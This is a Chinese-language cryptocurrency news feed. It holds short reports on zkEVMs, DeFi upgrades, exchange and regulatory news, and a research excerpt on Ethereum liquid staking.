    Chainfeeds 导读： 随着 zkEVM 战争升温，市场对于不同 zkEVM 的优缺点进行了大量讨论，但也存在一些错误信息。Polygon Zero 创始人 Daniel Lubarov 撰文对一些 Polygon zkEVM 的事实进行了澄清，并将其与 zkSync Era zkEVM 进行了对比分析。 文章来源： https://hackmd.io/@dlubarov/HydKgJBW2 文章作者： Daniel Lubarov 观点： Daniel Lubarov：1）EVM 兼容性：Polygon zkEVM 可以直接执行 EVM 字节码。根据 Vitalik 的分类，它是一个类型 3 的 zkEVM。zkSync Era 则使用不同的字节码格式，并通过编译器支持 Solidity。这使得它成为一个类型 4 的 zkEVM；2）性能：性能一直是 Polygon 的首要任务，在 CPU 上运行验证器的每笔交易成本约为 0.000084 美元。目前尚未找到关于 zkSync 的 zkEVM 的任何工作基准；【原文为英文】 内容来源 Daniel Lubarov：3）字段选择：zkSync 采用基于 alt-bn128 曲线的 SNARK，底层字段大小约为 254 bits，其优势在于 EVM 原生支持，因此向以太坊提交证明会更简单。Polygon 则选择用 alt-bn128 的 fflonk 证明来「包装」最终聚合证明，该方法需要做更多工作，但提升了性能；4）安全性：Polygon zkEVM 完成了两次独立审计，zkSync 网站暂未列出对 zkEVM 的审计信息；【原文为英文】 内容来源 Daniel Lubarov：5）L1 数据：Polygon zkEVM 将所有交易数据发布至 L1 上，目前平均交易大小约为 120 bytes，因此每个交易的成本为 1920 Gas。zkSync 发布状态差异，修正后的数据显示其与 Polygon zkEVM 的每个交易的 Gas 成本没有太大区别。【原文为英文】 内容来源  ( 5 min )
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明 瑞士非盈利组织 ZeroSync 协会和比特币基础设施公司 Blockstream 表示计划从 Blockstream 的卫星向全球广播比特币零知识证明，包括互联网不覆盖地区。ZeroSync 预计第一次实验性广播将在今年年底进行。 ZeroSync 协会于本周二由 Robin Linus、Tino Steffens、Lukas George 等成立，将带头开发比特币证明系统，构建具有比特币隐私、互操作性和可扩展性的未来。 内容来源 观点： Robin Linus（ZeroSync 联合创始人）：比特币的安全性要求每个参与者验证每笔交易。直到现在，都没有形成很好的规模，像 STARKs 这样的证明系统已经被发明出来了。应用它们来生成比特币链状态的证明，并通过卫星广播，可以把比特币带给世界上的几乎所有人。不要相信，要验证。【原文为英文】 内容来源  ( 2 min )
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明
    ZeroSync 协会和 Blockstream 计划从 Blockstream 卫星向全球广播比特币零知识证明 瑞士非盈利组织 ZeroSync 协会和比特币基础设施公司 Blockstream 表示计划从 Blockstream 的卫星向全球广播比特币零知识证明，包括互联网不覆盖地区。ZeroSync 预计第一次实验性广播将在今年年底进行。 ZeroSync 协会于本周二由 Robin Linus、Tino Steffens、Lukas George 等成立，将带头开发比特币证明系统，构建具有比特币隐私、互操作性和可扩展性的未来。 内容来源 观点： Robin Linus（ZeroSync 联合创始人）：比特币的安全性要求每个参与者验证每笔交易。直到现在，都没有形成很好的规模，像 STARKs 这样的证明系统已经被发明出来了。应用它们来生成比特币链状态的证明，并通过卫星广播，可以把比特币带给世界上的几乎所有人。不要相信，要验证。【原文为英文】 内容来源  ( 2 min )
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1 Avalanche 生态 DEX Trader Joe 营销负责人 Blue 在社区 Discord 电话会议上表示，Trader Joe 最快将于下周推出 Liquidity Book V2.1，存款人将能够更有效地将代币添加至 Trader Joe 流动性池中，同时还将改善交易体验。此次升级还将引入「自动池」，自动管理储户在流动性池子中的活跃头寸以减轻风险。此外，Trader Joe 还将推出新的奖励计划，重点是向参与 Trader Joe 集中流动性的用户分发代币。 内容来源  ( 26 min )
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1
    Trader Joe 营销负责人：最快或将于下周推出 Liquidity Book V2.1 Avalanche 生态 DEX Trader Joe 营销负责人 Blue 在社区 Discord 电话会议上表示，Trader Joe 最快将于下周推出 Liquidity Book V2.1，存款人将能够更有效地将代币添加至 Trader Joe 流动性池中，同时还将改善交易体验。此次升级还将引入「自动池」，自动管理储户在流动性池子中的活跃头寸以减轻风险。此外，Trader Joe 还将推出新的奖励计划，重点是向参与 Trader Joe 集中流动性的用户分发代币。 内容来源  ( 26 min )
    Arbitrum 社区发起关于成立 ArbitrumDAO 的提案
    Arbitrum 社区发起关于成立 ArbitrumDAO 的提案 Arbitrum 基金会的一家服务提供商 Lemma 发起「Arbitrum 改进提案框架」投票，提议成立 ArbitrumDAO，该组织由 ARB 持有者管理。提案表示，Arbitrum 基金会为 ArbitrumDAO 服务。通过提交 AIP，ArbitrumDAO 将能够集体决定和实施从核心协议技术到非技术决策的变化。且为了给 ArbitrumDAO 提供更好的能力进行管理和促进治理链的发展，3,527,046,079 枚 ARB 代币已转移到 DAO 金库。ArbitrumDAO 对 DAO 金库拥有直接的链上治理权。此外，为了提高运营和管理效率，还将创建一个由 Arbitrum 基金会控制的独立账户，7.5 亿枚 ARB 代币将被转移到行政预算钱包中，用于提供特别拨款，补偿适用服务提供商的总设置成本，并支付 Arbitrum 基金会的持续行政和运营成本。政预算钱包的进一步资金需要 ArbitrumDAO 根据 AIP 流程批准 AIP。该提案将于 4 月 4 日 06:13 截止投票。 内容来源 观点： Blockworks：我们致力于改善 DAO 的治理和透明度，这个提议代表了其当前状态的倒退。【原文为英文】 内容来源

  • Open

    加密交易所Trader Joe或将于下周推出升级版交易引擎
    PANews 4月1日消息，据CoinDesk报道，去中心化加密交易所Trader Joe营销负责人Blue周五在电话会议上表示，最快将于下周推出升级版交易引擎自动做市商Liquidity Book V2.1。新版本引擎将使存款人更有效地向Trader Joe的流动性池中添加代币，并改善链上交易体验。Trader Joe已在Arbitrum、BNB Chain和Avalanche上部署。此次升级还将引入“自动池”，自动管理储户在流动性池中的活跃头寸，以降低风险。此外，Trader Joe还将推出一个新的奖励计划，向那些参与Trader Joe集中流动性的用户分发代币。DefiLlama的数据显示，自3月26日以来，Trader Joe的总锁仓价值为1.3178亿美元，交易量超过5.2亿美元。  ( 1 min )
    Bittrex将于4月30日关闭美国业务，其它地区业务不受影响
    PANews 4月1日消息，据CoinDesk报道，加密交易所Bittrex周五宣布，在运营9年后，该公司将于4月30日关闭其美国平台。Bittrex联合创始人兼首席执行官Ritchie Lai在声明中表示，在当前的美国监管和经济环境下，继续运营从经济角度来看是不可行的。监管要求通常不明确，并且在没有适当讨论的情况下强制执行，导致竞争格局不均衡。因此在美国运营已经不再可行。所有客户的资金都是安全的，可以取款。此外，在欧洲、加拿大和南美等地区运营的Bittrex Global不受影响，将继续开放交易。  ( 1 min )
    动视暴雪前总裁Daniel Alegre正式担任Yuga Labs首席执行官
    PANews 4月1日消息，视频游戏公司动视暴雪（Activision Blizzard）前总裁兼首席运营官Daniel Alegre在推特宣布，将于4月1日正式担任Yuga Labs首席执行官一职。Alegre预计将监督与公司知识产权相关的多项创意开发，其中包括BAYC和CryptoPunks NFT以及Otherside元宇宙平台。据此前消息，Yuga Labs在去年12月宣布将任命Daniel Alegre为首席执行官，并指出他将接替Nicole Muniz，Nicole Muniz继续担任公司合伙人和战略顾问。Daniel Alegre 曾参与了《使命召唤》、《魔兽世界》、《暗黑破坏神》、《守望先锋》和《Candy Crush》等知名游戏品牌的开发。  ( 1 min )
    美国国家期货协会(NFA)制定加密商品交易新规，将于5月31日生效
    PANews 4月1日消息，据CoinDesk报道，美国国家期货协会(NFA)正在为其从事数字资产大宗商品交易的成员制定标准。NFA在一份声明中表示，新规将于5月31日生效，目前仅适用于比特币(BTC)和以太坊(ETH)交易。如果NFA成员在其现货数字资产商品活动中存在欺诈或类似不当行为，NFA则可以惩罚成员或采取其他行动来保护公众。新规则还要求成员密切监督他们的活动，参与现货加密商品活动的成员“必须对这些活动实施适当的监督政策和程序”。CFTC委员Caroline Pham周五在网站上发表声明称，"这是利用现有权力保护客户的一个显著例子。NFA成员和相关人员被要求明确披露与比特币和以太币现货交易相关的风险，以便客户在做出任何交易决定之前充分了解情况。”  ( 1 min )
    MakerDAO社区已选出4个第一批孵化生态系统参与者
    PANews 3月31日消息，MakerDAO 社区已根据新的 Maker 章程参数选出第一批四个孵化生态系统参与者（Incubating Ecosystem Actor），分别为 dewiz、Sidestream、Phoenix Labs 与 Viridian Protector Advisory Company。孵化生态系统参与者是指为未来 SubDAO 而准备的生态系统参与者，由 Ecosystem Scope 管理，并由 Maker Governance 分配对 Maker 有用的项目，这些项目寻求委托创新来开发协议、产品或服务。孵化生态系统参与者的 DAO 级目标决定了 Maker Governance 将为其考虑的项目类型，以及如何根据其产生特定理想结果的潜力进行加权。 四个孵化生态系统参与者中，dewiz 预算分配为每月 15 万枚 DAI 与 21 枚 MKR，目标包括以 RWA 为重点的 Collateral Onboarding Technical 工作与一般智能合约开发；Sidestream 预算分配为每月 70,912.5 枚 DAI，目标为全栈智能合约与前端开发；Phoenix Labs 在民意投票通过后将立即分配 347,100 枚 DAI，每月将为开发者关系一职分配 1.7 万枚 DAI 与 10 枚 MKR，目标为交付 Spark 协议并维护 12 个月；Viridian Protector Advisory Company 在民意投票通过后将立即分配 257,250 枚 DAI，每月分配 85,750 枚 DAI，目标为提供 Protector 咨询工作。  ( 2 min )
    美国政府于3月14日出售了9861枚BTC，并打算在一年中分四批出售另外4.15万枚与丝绸之路相关的BTC
    PANews 3月31日消息，推特用户@tier10k发推称，法庭文件显示，美国政府于 3 月 14 日出售了 9,861 枚 BTC，并打算在一年中分四批出售另外 41,500 枚与丝绸之路相关的 BTC。  ( 1 min )
    孙宇晨：格林纳达驻WTO大使的任期于3月31日结束
    PANews 3月31日消息，孙宇晨发推表示，其在格林纳达担任的驻WTO大使一职任期于2023年3月31日正式结束。接下来的几个月里，个人将专注于将其职责顺利移交给继任者，并在稍作休息后继续其公职人员生涯，将专注于数字经济和加密货币监管领域。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.31）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    PA日报｜意大利即日起禁止使用ChatGPT；币安推出无需助记词的DeFi钱包
    今日要闻提示： 央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险 意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息 Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石 币安发布内置于应用程序的DeFi钱包，支持无助记词使用 Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍 监管消息 意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息 意大利数据保护机构对OpenAI公司非法收集用户信息展开调查。意大利个人数据保护局今天宣布，即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的美国人工智能公司OpenAI处理意大利用户信息。同时，意大利个人数据保护局指出，本月20日，ChatGPT平台出现了“用户对话数据和付款服务支付信息丢失”的情况。此外，该平台没有就收集处理用户信息进行告知，缺乏大量收集和存储个人信息的法律依据。OpenAI公司“必须在20天内通过其在欧洲的代表向意大利个人数据保护局通报公司执行保护局要求而采取的措施”，否则将被处以最高2千万欧元或公司全球年营业额4%的罚款。 央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险 据澎湃新闻报道，中国人民银行副行长宣昌能在博鳌亚洲论坛2023年年会“数字时代的金融基础设施与金融服务”圆桌会上表示，要加快完善与数字经济相适应的监管机制。金融监管是保障数字金融稳健运行的基础性的制度安排，监管缺失会加剧非理性的市场行为。宣昌能表示，以加密货币为例，国际金融危机爆发以来，主要发达经济体长时间实施超宽松的货币政策，大规模实施QE，引发市场主体对信用货币资产贬值的担忧，在美国出现了占领华尔街的运动。在这样的背景下，以区块链技术为基础，加密货币强调它去中心化和规则算法的属性，试图对信用货币形成一种反制，并且在流动性充裕的环境下受到很多人的追捧。 NFT Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石 据官方博客，NFT市场Magic Eden宣布引入钻石奖励（Diamond Rewards）计划，允许用户根据不同的任务赚取钻石，并在Magic Eden中解锁更多的奖励。 钻石是一种奖励货币，每月奖励数量都会保持不变。目前获得钻石的方式有以下三种： 1.在Magic Eden上架NFT并成功出售； 2.在Magic Eden竞价NFT并被接受； 3.完善个人资料。 Magic Eden表示，用户忠诚度分数用于确定所赚钻石的乘数，100%的忠诚度得分会获得2倍乘数。每24小时检查一次忠诚度，并在赚取钻石时应用忠诚度乘数。忠诚度得分计算考虑了用户在过去6个月的活动。Magic Eden还将推出更多赚取钻石和奖励的方式，以及未来特定的钻石福利和奖励。 Tessera创始人旗下NFT市场Escher正式上线，将强制执行100%版税 据官方推特，NFT碎片化协议Tessera创始人Andy Chorlian创立的NFT市场Escher已正式上线，该平台将提升购买和销售版画体验，并使收藏家和创作者更容易参与加密社区和获得激励。Escher还宣布其NFT市场将强制执行100%版税，同时上线限量版NFT系列“Escher Exclusives”。 项目动态 币安发布内置于应用程序的DeFi钱包，支持无助记词使用 币安推出由其 ID 提供支持、直接内置于币安应用程序并使用 MPC 技术保护的 DeFi 钱包，支持从 CeFi 到 DeFi 转账、跨链、钱包恢复、无需助记词。目前，该钱包支持 BNB Chain 与以太坊，将支持更多链。此外，该钱包还嵌入币安 ID、生物识别身份验证、钱包连接支持与 SBT 等高级功能。 Optimism公布第二轮追溯性公共产品募资结果，L2Beat等195个人或项目被资助 以太坊二层扩容方案 Optimism 公布第二轮追溯性公共产品募资（RetroPGF 2）结果，在第二轮 RetroPGF 中，有 195 个人和项目被提名资助，所有 195 人都获得了徽章持有者的资助。 1000 万枚 OP 资金平均被分配给三个类别：教育、基础设施以及工具和公用事业。教育类别中，资助了 70 人或项目，前三名接受者为 L2Beat、ETHGlobal 和 BuidlGuidl；基础设施类别资助了 43 个项目，前三名接受者为 Protocol Guild、geth 和 Solidity；工具和公用事业项目类别资助了 82 个项目，前三名接受者为 OpenZeppelin、DefiLlama 和 wagmi。 外媒：孙宇晨在去年格林纳达新政府上台后被剥夺了其外交官的身份 据格林纳达广播网（GBN）披露，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨不再是格林纳达的外交官。在2022年6月举行的选举后的某个时候，孙被剥夺了大使身份，当时授予孙宇晨的职位的新国家党被全国民主大会罢免。所有大使都在现成立九个月的NDC政府的“最初几个月”的某个时候被召回，尽管孙宇晨没有公开承认失去他的职位。 据悉，孙宇晨于2021年12月被任命为格林纳达驻世贸组织大使，当时的格林纳达政府表示希望他利用他的人脉来促进该国的贸易、投资和发展机会。 针对此报道，孙宇晨回应称其仍是格林纳达驻WTO常驻代表及特命全权大使。 韩国法院再次拒绝逮捕Terra联创Daniel Shin 据彭博社报道，韩国检察官要求对Terraform Labs联合创始人Daniel Shin发出逮捕令的请求被当地法院第二次驳回。 首尔南区法院周四表示，对申某的指控仍有争议，他不太可能有潜逃或销毁证据的风险。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。 FTX欧洲子公司为当地客户推出仅用于提款的新网站 据Finance Magnates报道，破产的加密交易所FTX的欧洲子公司FTX Europe为其客户创建了一个新网站，用于从该平台提取余额。新域名ftxeurope.eu已获得塞浦路斯证券交易委员会 (CySE) 的批准。新网站将不提供任何产品或除余额提取外的任何其他服务。登录新网站时会会弹出一个对话框，要求用户“登录您的FTX EU帐户，以查看您的余额并请求提款”。原来的旧网站目前仍无法使用。 以太坊核心开发者：最后一个以太坊主网影子分叉拟于下周进行 以太坊核心开发者Tim Beiko在推特上表示：“以太坊Shapella升级测试进入最后阶段，最后一个主网影子分叉计划于下周进行，并对最新版本进行跨客户端EVM模糊测试。EOF（EVM 对象格式）已更新，各队普遍对EOF持积极态度，但怀疑它是否能与坎昆会议上的EIP-4844相适应。有人提议可能将其安排在下一个分叉中。” Rocket Pool将于4月18日进行Atlas升级，包含新的8 ETH迷你矿池 据官方推特，以太坊流动性质押协议Rocket Pool将于4月18日进行Atlas升级。此次升级将推出新的8 ETH迷你矿池，即只需要8枚以太坊就可参与节点质押（满足Rocket Pool要求的情况下）。此次Atlas升级特点包括提高协议效率，为节点运营者分发更高的奖励，提升rETH容量，仍然完全无需许可。 Atlas最重要的功能是RocketPool验证节点Minipools LEB 8's，当前当节点运营商希望创建一个迷你矿池时必须提供16枚ETH并代表协议接收16枚ETH，这意味需要在以太坊上创建一个32枚ETH的质押验证器，随着LEB8的引入，16枚ETH的数量设置将减少至8ETH。此外，Smartnode v1.9.0现已发布，是Shapella硬分叉（4月12日）之前的强制升级。此版本的升级将引入16 ETH迷你矿池。 根据之前消息，此次升级将使该协议与以太坊的上海升级兼容。 Uniswap基金会新提案提议在L1和L2上确定V3官方部署，以应对BSL到期 据官方推特，Uniswap基金会在推特上表示，由于Uniswap V3的商业源代码许可证（BSL）将于2023年4月1日到期，确定每个链的一个“官方”V3部署将非常重要,以便为用户提供安全保障，为生态系统参与者提供重点支持，并为Uniswap提供清晰度治理。 Uniswap基金会已发布治理提案，以确定BSL在4月1日到期后L1和L2上的“官方”Uniswap部署，并且目前正在收集社区的反馈，以推动这一进程。 其中，一个实体或个人可以同时充当多个利益相关者，例如，提议者也可以是部署者，部署者可以是桥提供者，Uniswap基金会还建议创建一个新的ENS子域v3-deployments.uniswap.eth以跟踪Uniswap V3在L1和L2上的官方部署。 Upbit、Bithumb、Coinone等韩国加密交易所将下架Paycoin（PCI） Upbit、Bithumb、Coinone等韩国加密交易所通过官网宣布将于当地时间4月14日15:00（北京时间4月14日14:00）下架Paycoin（PCI）。Upbit 表示，“直至投资警告期限届满之日，Paycoin方未能解决投资警告所指出的原因，例如未发行实名存取款账户名称及未能完成虚拟资产经营者变更报告。因此，使用PCI的境内支付业务被判定为实质上已暂停。从业绩和方向来看，投资者投资此项目会有较大风险，因此我们决定终止交易支持。” 此前去年11月14消息，韩国监管机构对Paycoin和Wemix等平台币进行调查，以防止“第二次FTX事件”；随后多家韩国交易所于去年12月份下架WEMIX。1月6日消息，韩国金融当局责令Paycoin在2月5日之前关闭相关服务。1月12日消息，韩国DAXA已将Paycoin标记为投资警告。 融资消息 硬件钱包制造商Ledger以13 亿欧元的估值锁定了 1 亿欧元的大额融资 据彭博社报道，总部位于巴黎的硬件钱包制造商 Ledger 在首轮融资中筹集了 1 亿欧元（1.09 亿美元）的大部分资金。 估值为 13 亿欧元，与投资者在2021 年 6 月上一次融资时给出的价格大致相同。新投资者包括 True Global Ventures、Cité Gestion SPV、Digital Finance Group 和 VaynerFund。他们加入了 10T、Cap Horn、Morgan Creek 和 Cathay Innovation 等现有支持者的行列。该公司将利用这笔现金扩大其分销商网络、提高产量和开发产品，从而发展业务。 跨链桥聚合器LI.FI完成1750万美元A轮融资，CoinFund等领投 据Finextra报道，跨链桥聚合器LI.FI宣布完成1750万美元A轮融资，CoinFund和Superscrypt领投，Bloccelerate、L1 Digital、Circle、Factor、Perridon、Theta Capital、Three Point Capital、Abra和近20位天使投资人参投。 据悉，LI.FI本轮筹集的新资金将用于推动LI.FI在更多区块链、DEX、跨链桥等领域的开发，同时加强其销售、业务发展、营销和其他能力，以支持代币和订单流交易。 此前去年7月消息，Li.Fi完成由1kx领投的550万美元融资。 矿业消息 比特币矿企TeraWulf 2022年第四季度收入为960万美元，同比增长146% 据Businesswire报道，比特币矿企TeraWulf周四发布的季度报告显示，随着该公司加大了矿机的部署，该公司2022年第四季度收入为960万美元，于2022年第三季度的390万美元相比增长了146%。 TeraWulf在2022年的收入为1500万美元，共自营产出524枚比特币。截至2022年12月31日，自挖总算力达到1.4EH/s，截至2023年2月28日，达到2.6EH/s，两个月增长了86%。该公司预计，到2023年第二季度的总运营能力将达到50,000台矿机（5.5 EH/s）。 重要数据 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 据DuneAnalytics（@hagaetc）数据，3月DEX的交易量达到了1288.16亿美元，较去年同比增长了8.69%，较前年同比增长了118.40%。而且仅从今年年内来看，3月DEX的交易量分别较2月环比增长了71.99%，较1月环比增长了112.94%。其中，Uniswap、Curve和Sushiswap是交易量最高的3个市场。从DEX的细分领域来看，本月衍生品交易量增长明显，不仅首次突破200亿美元，而且为2022年以来单月最高值，约为251.5亿美元。 数据：比特币矿工本月收入已达7.18亿美元，创去年5月以来新高 据The Block报道，数据显示，到目前为止，比特币矿工3月份收入至少达7.18亿美元，已达2022年5月以来新高。 与此同时，截至周四，比特币区块链的交易量也从2月份的499.34美元跃升至3月份的689.68美元。 数据：所有DAO金库持有的总资产超250亿美元，较年初已翻倍 据Cointelegraph报道，DeepDAO数据显示，3月31日，所有去中心化自治组织（DAO）在金库中持有的总资产达251亿美元，创历史新高。其中约有220亿美元是流动资金，约有35亿美元预留用于归属。自2023年初以来，DAO金库资产已增加了一倍多。 Optimism Collective持有55亿美元的资金，占据22%的份额。Arbitrum的DAO，资金略低，为44亿美元，占17.5%的份额，其次为BitDAO、Uniswap和Polygon，分别持有26亿美元、25亿美元和15亿美元的资金。 数据：Magic Eden比特币NFT市场日交易量占比超70%，系最大Ordinals市场 Dune Analytics数据显示，比特币Ordinals市场总交易量达1590.83万美元，交易笔数为38843笔，唯一用户数达18462人。自Magic Eden推出比特币生态NFT市场以来，该平台上的日交易量一直领先。3月30日，Magic Eden的Ordinals市场交易量约为25.56万美元，约占当日总交易量35.8万美元的71.4%。从当日交易量来看，第二大市场Ordinals市场为“Ordinals Market”,市场份额达13.4%。其次为“Ordinals Wallet”，市场份额达10.5%，其他市场的份额均不到5%。 数据：3月安全事件共造成约2.1亿美元的损失 据欧科云链OKLink安全团队监测，2023年3月安全事件共造成约2.1亿美元损失，与上个月相比，本月安全事件数量和损失金额均有显著上升。其中Euler Finance被黑客攻击，导致1.97亿美元的加密货币被盗，这是今年迄今为止加密货币损失金额最大的一次黑客攻击。  ( 3 min )
    稳定性与高增速共振，LSD赛道将实现“戴维斯双击”
    原文：《「Trend Research by LD Capital」LSD赛道长坡厚雪，稳定性与高增速贯穿整年》 由于上海升级的临近，我们认为需要结合最新的数据变化重新判断 LSD 赛道的未来发展以及其对整个链上生态带来的影响。本文从上海升级后行业整体成长空间、4 种质押解决方案与不同 LSD 协议比选、DVT 赛道的定位和 LSD 资产对链上其他生态的影响 4 部分概览 LSD 赛道全景。 以太坊质押率的提升将带来 LSD 赛道整体协议费用上涨，长期来看 LSD 赛道的戴维斯双击仍未结束。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。假设 LSD 赛道费用情况保持不变，我们估算当以太坊质押率上升至 29%、44%、58% 时，对应 LSD 赛道协议费用的上涨幅度分别为 1.31 倍、1.55 倍、1.76 倍。从 P/F 估值角度来看，当前 LSD 赛道龙头标的 LDO 3.89 倍 P/F，相较于老牌 Defi 协议 UNI 7.12 倍、AAVV 10.35 倍等估值水平仍有较大提升空间。 上海升级之后，LSD 协议的相对市场份额或将发生变化，中期关注赛道龙头 Lido 与以 Frax 为代表的高收益率 LSD 协议，短期关注 Rocket pool Atlas 升级。上海升级之后，早期节点的退出与用户质押意愿的增强将为 LSD 协议的相互竞争提供条件，目前来看 Lido 在知名度、资金规模、安全性、收益率、流动性、组合性等多维度久经考验，龙头位置不可撼动；但后来者如 Frax 通过自持的 CVX 与双币模型的设计实现了与 Curve 生态的组合，使得其拥有了远高于同类质押产品的质押收益率，顺利完成产品的冷启动与早期增长，未来随着收益聚合产品的推出普及，Frax 等高收益率产品的增长有望进一步加快。需要指出的是，Frax 的高收益率将随其 TVL 的升高不断降低，以目前情况估算，当其 ETH 质押量达到 20 万枚时，质押收益率将下降至 6%；近期 Rocket pool 的 Atlas 升级值得关注，将节点运营商 ETH 的最少质押数量由 16 枚降低至 8 枚，提升协议容量的同时增强了节点激励，预计会为其 TVL 带来较大增量。 目前以 SSV、Obol、Diva 为代表的 DVT 产品的定位是以太坊质押的重要基础设施。DVT 产品旨在保证以太坊验证出块稳定性的同时提升网络的去中心化程度，可以降低节点运维团队的运营成本，减少安全风险。SSV 的发展重在运营商网络的搭建，其代币作为网络的支付手段与治理凭证捕获协议价值；Obol 的发展重在中间件的适配性，而 Diva 的目标在于结合 LSD 与 DVT 两种模式打造一站式产品，目前处于开发早期。 以太坊质押或将催生千亿规模的 lsdETH，其在重构或冲击传统 Defi 协议收入结构的同时，围绕这一新资产类别构建的二层产品或将成为市场中新的α。lsdETH/ETH 的流动性构建或将为 Curve、Balancer 等 DEX 带来新的业务增量，相较于 Curve，目前 Balancer 的边际变化更大；但以太坊的质押收益可视为链上币本位的无风险收益率，这一收益率的出现将提高链上的流动性成本，对存款池类型的借贷产品形成利空，CDP 模式借贷受影响相对较小。同时未来围绕这一生息资产构建而起的再质押、收益聚合、本息分离、杠杆协议等产品都将受益于底层资产的庞大规模获得较高的业务天花板，值得持续的跟踪研究。 风险： 监管风险、宏观经济风险、技术升级不及预期风险 以太坊质押率增长推动矿工收入提升从而带来 LSD 赛道收入的整体上涨，长期来看赛道收入估值仍处于双升区间。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。下图估算当以太坊质押率翻 1 倍、2 倍、3 倍上升至 29.12%、43.68%、58.24% 时对应 LSD 赛道协议费用的上涨幅度分别为 1.31 倍、1.55 倍、1.76 倍。计算方法、假设与过程如下： 执行层奖励由 Priority fee 决定，由于以太坊费用机制的平衡设定，假设执行层奖励不变（偏保守估计，当网络 Gas 波动时，执行层奖励会大幅攀升，如 3 月 10 日 USDC 脱锚事件导致链上交易激增，以太坊执行层奖励增长为平时 4–6 倍）；共识层奖励由以太坊的区块奖励决定，总区块奖励与总质押量的平方根成正比，共识层 APR 与总质押量的平方根成反比，具体计算公式为 base_reward = effective_balance * (base_reward_factor / (base_rewards_per_epoch * sqrt(sum(active_balance))))。以当前 14.56% 质押率对应共识层奖励与执行层奖励为基准，据上述 2 个条件估算质押率达到目前 2–4 倍的矿工收入情况。同时假设 LSD 协议收费标准不变，则矿工收入随质押率增长的倍率即为 LSD 协议费用增长倍率如下： 图表 1： 矿工收入随质押率的变化情况 来源：LD Capital 需要注意的是以太坊质押率的提升是一个渐进的过程，上海升级后的 1–2 个月甚至有可能观察到以太坊质押率下降的情况。由于以太坊验证者节点准入和退出的限制，可判断以太坊质押率的变化是一个缓慢的过程。目前以太坊网络验证者总数约 55.68 万，每天准入 1800 个验证者节点。上海升级之后允许验证者节点退出，每天可退出数量与可进入数量相等，由于早期验证者的退出，有可能在上海升级之后的一段时间内观察到以太坊的质押率轻微下降的情况，判断依据为：目前信标链中约 1087 万枚 ETH 通过 lsd 协议与中心化交易所参与质押，拥有二级市场流动性，且当前各类 lsdeth/eth 基本没有折价，所以该部分在上海升级之后通过一级市场基于刚兑或盈利需求的赎回规模不大；剩余约 695 万枚 ETH 采用 Staking pool 或单独质押的方式进行，由于该部分缺乏二级市场流动性，假设上海升级后有 1/2 赎回选择，每天最多赎回 5.76 万枚。以太坊将在上海升级之后的 60 天内面临满负荷赎回的情况；观测目前进入质押的数据，每天新质押比例一般为最大可进入质押比例的 1/3。故如果上海升级之后新质押比例达不到最大负荷，基于上述假设将出现以太坊质押率在 1–2 个月内出现微跌的情况；在基于刚兑与盈利等赎回需求出清之后恢复增长，以太坊质押率可能需要 1–2 年的时间才能实现翻倍增长。 来源：https://ethereum.org/zh/developers/docs/consensus-mechanisms/pos/rewards-and-penalties/ LSD 赛道可拓展为以太坊质押解决方案及其衍生品，包括四种以太坊质押解决方案相互竞争市场份额、DTV 技术保证安全性的同时扩展去中心化以及围绕 LSD 协议质押凭证诞生的二层收益增强产品及杠杆协议与指数产品。 图表 2： LSD 赛道全景 来源：LD Capital 2.1 四种质押解决方案中，LSD 市占率最高且有望进一步扩大 以太坊质押解决方案分为四种，包括单独质押、托管质押、流动性质押 LSD 与中心化交易所质押。其中 LSD 与中心化交易所质押由于解决了小资金参与、不需要硬件基础设施、通过质押凭证可以重新释放流动性等优势目前取得了绝大多数的市场份额。从节点数量的统计口径上来看目前 LSD 市场份额占比 33.4%、CEX 占比 27.5%、托管质押（Staking pool）占比 16.6%，单独质押占比 22.5%。 图表 3： 目前各种质押解决方案占比 来源：beaconchain，LD Capital 具体来看四种质押解决方案的基本情况： 图表 4： 4 种质押解决方案对比 来源： LDCapital 然而需要注意的是中心化交易所质押与 LSD 质押解决方案面临美国 SEC 的监管问题悬而未决。Staking 业务是否被认定为证券这件事一直没有权威解释，此前 Kraken 交易所的 Staking 业务被 SEC 打击，但尚未实质性波及到 Coinbase 与 Lido 等 LSD 协议主要原因是 Kraken 当时未公开用户资金去向，系黑箱操作，同时许诺了远超以太坊质押的高收益率招致监管打击。但在 Howie test 的角度来看，Kraken、Coinbase、Lido 等 LSD 协议都是通过托管用户资金的方式参与 Staking，并无本质的区别。故而目前 LSD 业务的发展面临来自美国监管的不确定性。 从产品角度来看，虽然上海升级之后质押的以太坊可以在一级市场赎回退出，但数量有限，按目前质押规模，每天可退出 1800 个节点对应 5.76 万枚 ETH。由于 LSD 协议的解决小资金参与质押、释放质押凭证的流动性、协议可组合增强收益率等优势使得其在上海升级之后依然会占据主要的市场份额。有可能出现在上海升级发生之后不久，由于早期单独质押或托管质押的 ETH 刚兑与获利退出使得 LSD 协议的整体市占率被动提升。从 